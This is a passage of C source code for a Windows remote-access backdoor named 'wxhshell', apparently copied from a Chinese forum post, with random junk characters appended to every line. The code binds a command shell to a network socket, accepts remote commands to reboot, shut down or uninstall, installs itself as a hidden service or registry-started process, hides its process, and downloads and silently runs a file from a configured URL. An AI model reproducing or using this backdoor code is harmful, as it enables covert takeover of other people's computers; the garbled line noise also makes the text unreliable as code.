      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '^ O}`   
    break; ;7JyL|2  
  } us<dw@P7{  
  // 安装 Y9%zo~]-W'  
  case 'i': { c"Q9ob  
    if(Install()) V4W(> g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WS1Y maV  
    else V.yDZ"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nn">   
    break; `Cy;/95m  
    } [s%uE+``S  
  // 卸载 62[_u]<Yub  
  case 'r': { 6pZ/C<Y|W  
    if(Uninstall()) 6$csFW3R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X&@>M}  
    else wLg@BSC.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y]B9*^d<  
    break; +4 D#Ht 7  
    } \TYH7wXDP  
  // 显示 wxhshell 所在路径 9/R=_y-  
  case 'p': { 4s <Z KU  
    char svExeFile[MAX_PATH]; 0f5)]  
    strcpy(svExeFile,"\n\r"); em ]0^otM  
      strcat(svExeFile,ExeFile); 6}\J-A/  
        send(wsh,svExeFile,strlen(svExeFile),0); sd*NY  
    break; jT-tsQ .,  
    } Go~3L8 '  
  // 重启 :/fT8KCwo  
  case 'b': { Ro2!$[P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =trLL+vGw'  
    if(Boot(REBOOT)) fCv.$5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -9s&OKo`({  
    else { H]M[2C7#N  
    closesocket(wsh); nQfSQMg  
    ExitThread(0); ytfr'sr/  
    } 9~l8QaK  
    break; xR&Le/3+  
    } 1nE`Wmo.2  
  // 关机 "`[4(j  
  case 'd': { =}F$r5]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qx?0]!x  
    if(Boot(SHUTDOWN)) "T>;wyGW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }\W^$e-  
    else { 0F &(}`V  
    closesocket(wsh); `2HNQiK'@  
    ExitThread(0); <*ME&c gh4  
    } C33RXt$X  
    break; ZM57(D  
    } 0!1cHB/c  
  // 获取shell ;PMy9H  
  case 's': { 7q#R,\  
    CmdShell(wsh); n3s  
    closesocket(wsh); U {9yfy  
    ExitThread(0); 88DMD"$B  
    break; gy5R"_MU  
  } &Z7NF|  
  // 退出 !Bhs8eGr3  
  case 'x': { #[~f 6s9D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); In#m~nE[M  
    CloseIt(wsh); [*Vo`WgbD  
    break; V%FWZn^  
    } ]sB%j@G  
  // 离开 a7la CHI  
  case 'q': { :HH3=.qAp`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j$z!kd+%  
    closesocket(wsh); (Lkcx06e  
    WSACleanup(); mnq1WU;<  
    exit(1); (;++a9GK  
    break; ^'hh?mL  
        } }>'1Qg  
  } E*}1_,q)  
  } C4eQ.ep  
/nNrvMt v  
  // 提示信息 0?'v|5}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /f!ze|  
} L:UPS&)  
  } .:SY:v r  
?]58{O(?c  
  return; 9XN/ w p  
} :b(Nrj&TQ[  
"J%dI9tM{  
// shell模块句柄 0NyM|  
int CmdShell(SOCKET sock) hoZM;wC  
{ 5?Rzyfwk|  
STARTUPINFO si; V<t!gT#&o!  
ZeroMemory(&si,sizeof(si)); SD1M`PI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jg(cpo d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +J2;6t  
PROCESS_INFORMATION ProcessInfo; *<ww~^a  
char cmdline[]="cmd"; 7)l+h Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  Y?IXV*J  
  return 0; dpB\=  
} x I(X+d``  
Y;>D"C..  
// 自身启动模式 j55OG~)  
int StartFromService(void) 5_Oxl6#  
{ p4wx&VLi  
typedef struct Q;2n  
{ |@pn=wW  
  DWORD ExitStatus; G@1T!`  
  DWORD PebBaseAddress; |SwW*C  
  DWORD AffinityMask; ko`KAU<T_  
  DWORD BasePriority; SfGl*2  
  ULONG UniqueProcessId; ?w>-ya  
  ULONG InheritedFromUniqueProcessId; /jd.<r=_I  
}   PROCESS_BASIC_INFORMATION; 4cJka~  
4inM d![  
PROCNTQSIP NtQueryInformationProcess; e!1am%aE  
!sh>`AF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,h* 'Cs04h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 70T{tB  
Q>l5:2lq  
  HANDLE             hProcess; G"F:68  
  PROCESS_BASIC_INFORMATION pbi; n4DKLAl  
ITBa ^P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?;CMsO*q  
  if(NULL == hInst ) return 0;  7D\:i1~  
ew|e66Tw$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -zH` 9>J5|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ydh+iLjhx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  sf'+;  
GvT ~zNd  
  if (!NtQueryInformationProcess) return 0; oNIt<T  
IF <<6.tz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i-`J+8|d  
  if(!hProcess) return 0; > ZKHjw  
V})b.\"F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `fq#W#Pu  
'\/|K  
  CloseHandle(hProcess); YG#.L}X@C  
'zfj`aqc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *n2le7  
if(hProcess==NULL) return 0; I+']av8e  
tZ_D.syBAc  
HMODULE hMod; B1(T-pr  
char procName[255]; 7uxUqM  
unsigned long cbNeeded; @ wx  
Yjh02wo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |)b:@q3k+n  
lD@`xq.M;  
  CloseHandle(hProcess); ;&ypvKG  
)LjW=;(b  
if(strstr(procName,"services")) return 1; // 以服务启动 pij%u<  
.5GGZfJ]  
  return 0; // 注册表启动 |,WP)  
} ,*d<hBGbh  
{*AYhZ  
// 主模块 ! ^TCe8  
int StartWxhshell(LPSTR lpCmdLine) tY!GJusd  
{ m53~Ysq<  
  SOCKET wsl; d9.~W5^fC  
BOOL val=TRUE; m-MfFEZ  
  int port=0; "aJf W  
  struct sockaddr_in door; Q;0 g  
3\0,>L9ET@  
  if(wscfg.ws_autoins) Install(); @XN|R  
L_Lhmtm}m  
port=atoi(lpCmdLine); @agxu-Y  
KU*XRZu)  
if(port<=0) port=wscfg.ws_port; Q;y)6+VU4  
3u~V&jl  
  WSADATA data; %v, a3^Qu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $`6Q\=*R/  
4s7&*dJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u/(~ew I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &^(4yw(~  
  door.sin_family = AF_INET; X@H/"B%u2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `tEW.s%Y(6  
  door.sin_port = htons(port); ?[c{pb ,|  
F$te5 ` a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K%WG[p\Eu  
closesocket(wsl); 7L$\S[E  
return 1; \,-e>  
} +CXtTasP  
n+SHkrW  
  if(listen(wsl,2) == INVALID_SOCKET) {  -wQ@z6R  
closesocket(wsl); nIf~ds&TT  
return 1; !6*m<#Qm  
} ['Y"6[1  
  Wxhshell(wsl); kKz>]t"A  
  WSACleanup(); VhLS*YiSY  
>h{)7Hv  
return 0; }}gtz-w  
4{CeV7  
} ^~JF7u  
S$NJmXhx5  
// 以NT服务方式启动 {YF(6wVl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J *;= f8  
{ 57[tUO  
DWORD   status = 0; s%i \z }/  
  DWORD   specificError = 0xfffffff; 7&3  
FG)(,?q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *IWWD\U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1w'W)x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $tB `dDj  
  serviceStatus.dwWin32ExitCode     = 0; tx,q=.(  
  serviceStatus.dwServiceSpecificExitCode = 0; C zb: nyRj  
  serviceStatus.dwCheckPoint       = 0; AS/z1M_U  
  serviceStatus.dwWaitHint       = 0; g<g$c<sm  
=+w!fy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;C,t`(  
  if (hServiceStatusHandle==0) return; JiFB<Q\  
&.[I}KH|B  
status = GetLastError(); <7_s'UAL!  
  if (status!=NO_ERROR) ?ZP@H _w6}  
{ 2"IDz01ne  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \Sv8c}8  
    serviceStatus.dwCheckPoint       = 0; @Io@1[kj  
    serviceStatus.dwWaitHint       = 0; '9@AhiNV  
    serviceStatus.dwWin32ExitCode     = status; #T++5G  
    serviceStatus.dwServiceSpecificExitCode = specificError; QzVoU |  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y T'olk  
    return; P71] Z  
  } _f"KB=A_x  
rVZlv3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tP4z#0r2  
  serviceStatus.dwCheckPoint       = 0; 9xaieR  
  serviceStatus.dwWaitHint       = 0; REWW(.3o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;L[N.ZY!  
} I+W:}}"j  
W<>R;~)  
// 处理NT服务事件,比如:启动、停止 -8:/My  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W#kd[Wi  
{ %>Mcme>(W  
switch(fdwControl) TlD^EJG  
{ OM?FpRVU8  
case SERVICE_CONTROL_STOP: F+)g!NQZ  
  serviceStatus.dwWin32ExitCode = 0; PFjh]/=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sq{=TB{  
  serviceStatus.dwCheckPoint   = 0; WOi+y   
  serviceStatus.dwWaitHint     = 0; }U|0F#0$  
  { T'!p{Fbg;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HutQx  
  } 4Q:r83#  
  return; sGG q~7  
case SERVICE_CONTROL_PAUSE: Cs2kbG_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lf#5X)V  
  break; = OzpI  
case SERVICE_CONTROL_CONTINUE: r6vI6|1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~DP5Qi  
  break; z||FmL{  
case SERVICE_CONTROL_INTERROGATE: ||Vx:(d7D&  
  break; Qt>Bvu Q  
}; $kccM& B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )v\ A8)[  
} 'm0_pM1:D  
y+h/jEbM</  
// 标准应用程序主函数 Yf_/c*t\5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cCs@[D#O1  
{ )M* Sg?L  
%xA-j]%?ep  
// 获取操作系统版本 %k @4}M>  
OsIsNt=GetOsVer(); $}B&u)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7()5\ae@q'  
C5Mpm)-%  
  // 从命令行安装 #j'7\SV  
  if(strpbrk(lpCmdLine,"iI")) Install(); l ;S_J^S  
)j!%`g  
  // 下载执行文件 Cz6bD$5  
if(wscfg.ws_downexe) { .>1vN+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ? (M$r\\  
  WinExec(wscfg.ws_filenam,SW_HIDE); baGV]=j  
} oiOu169]  
iUq_vQ@} }  
if(!OsIsNt) { =R*IOJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 p-*{x  
HideProc(); =^z*p9ZB  
StartWxhshell(lpCmdLine); *onVG5<  
} ]e$n;tuW  
else 9<.8mW^68  
  if(StartFromService()) ?}HZJ@:lB  
  // 以服务方式启动 G "ixw  
  StartServiceCtrlDispatcher(DispatchTable); #'. '|z  
else ZB]234`0  
  // 普通方式启动 NR"C@3kD]o  
  StartWxhshell(lpCmdLine); xVTl  
5b->pc  
return 0; -@Z9h)G|  
}
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只看该作者 1 发表于: 2006-10-10
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